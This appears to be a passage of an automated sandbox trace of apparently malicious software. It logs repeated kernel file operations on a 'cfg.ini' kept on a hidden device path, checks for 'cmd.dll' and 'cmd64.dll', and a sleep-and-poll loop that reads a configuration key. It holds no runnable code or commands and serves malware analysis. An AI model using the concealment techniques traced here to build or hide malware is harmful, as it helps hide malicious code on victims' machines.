[0119.920] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.920] KeEnterCriticalRegion () [0119.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.920] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.920] IdePortDispatch () returned 0x103 [0119.920] KeWaitForMutexObject () returned 0x0 [0119.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.920] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.920] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.920] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.920] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.920] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9320 [0119.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.920] KeLeaveCriticalRegion () [0119.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.921] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.921] KeEnterCriticalRegion () [0119.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.921] KeLeaveCriticalRegion () [0119.921] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.921] KeEnterCriticalRegion () [0119.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.921] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.921] IdePortDispatch () returned 0x103 [0119.921] KeWaitForMutexObject () returned 0x0 [0119.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.921] KeLeaveCriticalRegion () [0119.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.921] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.921] KeEnterCriticalRegion () [0119.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b12000 [0119.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.921] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.921] IdePortDispatch () returned 0x103 [0119.921] KeWaitForMutexObject () returned 0x0 [0119.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.922] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.922] IdePortDispatch () returned 0x103 [0119.922] KeWaitForMutexObject () returned 0x0 [0119.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.922] KeLeaveCriticalRegion () [0119.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.922] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.922] KeEnterCriticalRegion () [0119.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.922] KeLeaveCriticalRegion () [0119.923] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.923] KeEnterCriticalRegion () [0119.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.923] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.923] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.923] KeLeaveCriticalRegion () [0119.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.923] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.923] KeEnterCriticalRegion () [0119.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.923] ExFreePoolWithTag (P=0xfffffa8003bc9320, Tag=0x0) [0119.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.923] KeLeaveCriticalRegion () [0119.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.923] ReleaseMutex (hMutex=0xf0) returned 1 [0119.923] Sleep (dwMilliseconds=0x124f80) [0119.937] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.937] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.937] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.937] KeEnterCriticalRegion () [0119.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.937] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.937] IdePortDispatch () returned 0x103 [0119.937] KeWaitForMutexObject () returned 0x0 [0119.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.937] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.937] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.937] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.937] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.937] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce0f0 [0119.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.937] KeLeaveCriticalRegion () [0119.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.937] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.937] KeEnterCriticalRegion () [0119.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.937] KeLeaveCriticalRegion () [0119.937] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.937] KeEnterCriticalRegion () [0119.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.937] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.937] IdePortDispatch () returned 0x103 [0119.938] KeWaitForMutexObject () returned 0x0 [0119.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.938] KeLeaveCriticalRegion () [0119.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.938] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.938] KeEnterCriticalRegion () [0119.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.938] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b17000 [0119.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.938] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.938] IdePortDispatch () returned 0x103 [0119.938] KeWaitForMutexObject () returned 0x0 [0119.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.938] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.938] IdePortDispatch () returned 0x103 [0119.938] KeWaitForMutexObject () returned 0x0 [0119.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] KeLeaveCriticalRegion () [0119.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.939] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.939] KeEnterCriticalRegion () [0119.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] KeLeaveCriticalRegion () [0119.939] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.939] KeEnterCriticalRegion () [0119.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.939] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d1ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] KeLeaveCriticalRegion () [0119.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.939] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.939] KeEnterCriticalRegion () [0119.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] ExFreePoolWithTag (P=0xfffffa8003bce0f0, Tag=0x0) [0119.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.939] KeLeaveCriticalRegion () [0119.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.939] ReleaseMutex (hMutex=0xf0) returned 1 [0119.939] Sleep (dwMilliseconds=0x124f80) [0119.959] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.959] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.959] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.959] KeEnterCriticalRegion () [0119.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.959] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.959] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.959] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.959] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.959] IdePortDispatch () returned 0x103 [0119.959] KeWaitForMutexObject () returned 0x0 [0119.959] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.959] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.959] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.959] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.959] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.959] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca0b0 [0119.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.959] KeLeaveCriticalRegion () [0119.959] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.959] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.959] KeEnterCriticalRegion () [0119.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.959] KeLeaveCriticalRegion () [0119.960] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.960] KeEnterCriticalRegion () [0119.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.960] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.960] IdePortDispatch () returned 0x103 [0119.960] KeWaitForMutexObject () returned 0x0 [0119.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.960] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.960] KeLeaveCriticalRegion () [0119.960] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.960] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.960] KeEnterCriticalRegion () [0119.960] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.960] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1c000 [0119.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.960] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.960] IdePortDispatch () returned 0x103 [0119.960] KeWaitForMutexObject () returned 0x0 [0119.960] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.960] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.960] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.960] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.960] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.960] IdePortDispatch () returned 0x103 [0119.961] KeWaitForMutexObject () returned 0x0 [0119.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.961] KeLeaveCriticalRegion () [0119.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.961] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.961] KeEnterCriticalRegion () [0119.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.961] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.961] KeLeaveCriticalRegion () [0119.961] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.961] KeEnterCriticalRegion () [0119.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.961] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.961] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.961] KeLeaveCriticalRegion () [0119.961] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.961] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.961] KeEnterCriticalRegion () [0119.961] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.961] ExFreePoolWithTag (P=0xfffffa8003bca0b0, Tag=0x0) [0119.961] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.962] KeLeaveCriticalRegion () [0119.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.962] ReleaseMutex (hMutex=0xf0) returned 1 [0119.962] Sleep (dwMilliseconds=0x124f80) [0119.978] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.978] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.978] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.978] KeEnterCriticalRegion () [0119.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.978] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.978] IdePortDispatch () returned 0x103 [0119.978] KeWaitForMutexObject () returned 0x0 [0119.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.978] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.978] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.978] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.978] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.978] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da940 [0119.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.978] KeLeaveCriticalRegion () [0119.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.978] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.978] KeEnterCriticalRegion () [0119.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.978] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.978] KeLeaveCriticalRegion () [0119.978] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.978] KeEnterCriticalRegion () [0119.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 